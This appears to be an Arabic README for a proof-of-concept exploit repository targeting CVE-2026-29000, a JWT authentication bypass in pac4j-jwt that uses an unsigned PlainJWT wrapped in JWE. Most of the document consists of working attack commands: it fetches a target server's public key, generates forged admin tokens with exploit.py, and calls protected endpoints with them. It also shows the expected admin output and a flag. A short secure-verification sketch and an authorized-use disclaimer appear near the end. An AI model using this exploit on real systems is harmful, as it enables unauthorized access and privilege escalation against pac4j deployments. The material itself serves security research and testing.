
استغلال لثغرة CVE-2026-29000، وهي تجاوز لمصادقة JWT في pac4j-jwt عبر PlainJWT المغلف بـ JWE، مما يسمح بتزوير الرموز وتصعيد الامتيازات.
تجاوز مصادقة JWT في pac4j-jwt عبر PlainJWT المغلف بـ JWE
CVE-2026-29000 هي ثغرة حرجة في تجاوز المصادقة تؤثر على إصدارات pac4j-jwt الأقدم من 4.5.9 و5.7.9 و6.3.3. تسمح الثغرة للمهاجمين عن بُعد بتزوير رموز المصادقة وتجاوز التحقق من التوقيع.
توجد الثغرة في مكوّن JwtAuthenticator عند معالجة رموز JWT المشفرة (JWE). عند استلام رمز JWE:
exploit.py - سكربت استغلال بلغة Python لتوليد رموز خبيثةvulnerable_server.py - خادم تجريبي يحاكي الثغرةrequirements.txt - تبعيات PythonREADME.md - هذا الملف# استنساخ المستودع
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000
# تثبيت التبعيات
pip3 install -r requirements.txt
python3 vulnerable_server.py
سيقوم الخادم بما يلي:
server_private.pem وserver_public.pem)في سيناريو هجوم حقيقي، احصل على المفتاح العام من الخادم الهدف:
# تنزيل المفتاح العام من نقطة نهاية JWKS
curl http://target-server.com/jwks > target_jwks.json
# أو نقطة نهاية المفتاح العام المباشرة
curl http://target-server.com/public-key > target_public.pem
بالنسبة لخادم الاختبار:
curl http://127.0.0.1:5000/public-key > server_public.pem
استخدم سكربت الاستغلال لإنشاء PlainJWT مغلف بـ JWE:
# الاستخدام الأساسي - المصادقة كمسؤول
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
# المصادقة كمستخدم محدد بأدوار متعددة
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
# إضافة ادعاءات مخصصة
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","department":"IT"}'
# حفظ الرمز في ملف
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--output malicious_token.txt
# تعيين الرمز الخبيث (انسخ من مخرجات exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
# الوصول إلى نقطة نهاية عامة (يجب أن تعمل)
curl http://127.0.0.1:5000/api/public
# الوصول إلى نقطة نهاية المستخدم بالرمز الخبيث (تجاوز!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# الوصول إلى نقطة نهاية المسؤول بالرمز الخبيث (تصعيد امتيازات!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
المخرجات المتوقعة الناجحة من نقطة نهاية المسؤول:
{
"status": "success",
"message": "Admin endpoint accessed - RESTRICTED DATA",
"user": "admin",
"roles": ["ROLE_ADMIN"],
"secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
"admin_info": "This is sensitive administrative data"
}
# 1. تثبيت التبعيات
pip3 install -r requirements.txt
# 2. تشغيل الخادم المعرض للخطر (في الطرفية 1)
python3 vulnerable_server.py
# 3. في طرفية جديدة، احصل على المفتاح العام
curl http://127.0.0.1:5000/public-key > server_public.pem
# 4. توليد رمز مسؤول خبيث
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
# 5. استخراج الرمز إلى متغير
TOKEN=$(cat token.txt)
# 6. اختبار نقطة النهاية العامة (خط الأساس - لا حاجة لمصادقة)
curl http://127.0.0.1:5000/api/public
# 7. اختبار نقطة نهاية المستخدم (يجب أن تنجح مع رمزنا الخبيث)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 8. اختبار نقطة نهاية المسؤول (نجاح الاستغلال - يجب الوصول إلى البيانات المقيدة)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
# 9. تحقق من أن الاستجابة تحتوي على العلم
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
[--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
CVE-2026-29000: توليد رموز PlainJWT خبيثة مغلفة بـ JWE
options:
-h, --help عرض رسالة المساعدة هذه والخروج
--subject SUBJECT, -s SUBJECT
الموضوع (اسم المستخدم) للانتحال
--roles ROLES, -r ROLES
قائمة الأدوار مفصولة بفواصل (مثل ROLE_ADMIN,ROLE_USER)
--public-key PUBLIC_KEY, -k PUBLIC_KEY
مسار ملف المفتاح العام RSA بصيغة PEM
--claims CLAIMS, -c CLAIMS
ادعاءات إضافية كسلسلة JSON
--generate-keypair, -g
توليد زوج مفاتيح RSA للاختبار وحفظه في ملفات
--output OUTPUT, -o OUTPUT
ملف الإخراج للرمز المولد
1. يرسل العميل JWT مع توقيع
2. يتحقق الخادم من التوقيع بالمفتاح العام
3. إذا كان صالحًا، يستخرج الادعاءات
4. يمنح الوصول بناءً على الادعاءات
1. يحصل المهاجم على المفتاح العام RSA للخادم
2. ينشئ المهاجم PlainJWT (alg: none) مع ادعاءات تعسفية
مثال: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. يشفر المهاجم PlainJWT باستخدام JWE مع المفتاح العام للخادم
4. يفك الخادم تشفير JWE بنجاح
5. يستخرج الخادم الادعاءات من PlainJWT الداخلي دون التحقق من التوقيع
6. يمنح الخادم الوصول بناءً على الادعاءات المزورة
تحدث الثغرة لأن:
def verify_jwe_token_secure(token, private_key):
# 1. فك تشفير JWE
inner_jwt = decrypt_jwe(token, private_key)
# 2. تحليل رأس JWT الداخلي
header = parse_jwt_header(inner_jwt)
# 3. حرج: تحقق من أن الخوارزمية ليست "none"
if header.get('alg') == 'none':
raise SecurityError("PlainJWT غير مسموح به")
# 4. حرج: تحقق من توقيع JWT الداخلي
if not verify_jwt_signature(inner_jwt, public_key):
raise SecurityError("توقيع JWT غير صالح")
# 5. استخرج الادعاءات فقط بعد التحقق
return extract_claims(inner_jwt)
pip3 install -r requirements.txtpython3 vulnerable_server.pycurl http://127.0.0.1:5000/public-key > server_public.pempython3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pemcurl http://127.0.0.1:5000/api/publiccurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/usercurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin# الإعداد والاختبار في سطر واحد
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
تُقدم هذه الأداة لأغراض تعليمية واختبار الأمان المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأداة فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
رخصة MIT - لأغراض تعليمية فقط
باحث أمني التاريخ: 2026-03-16
FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}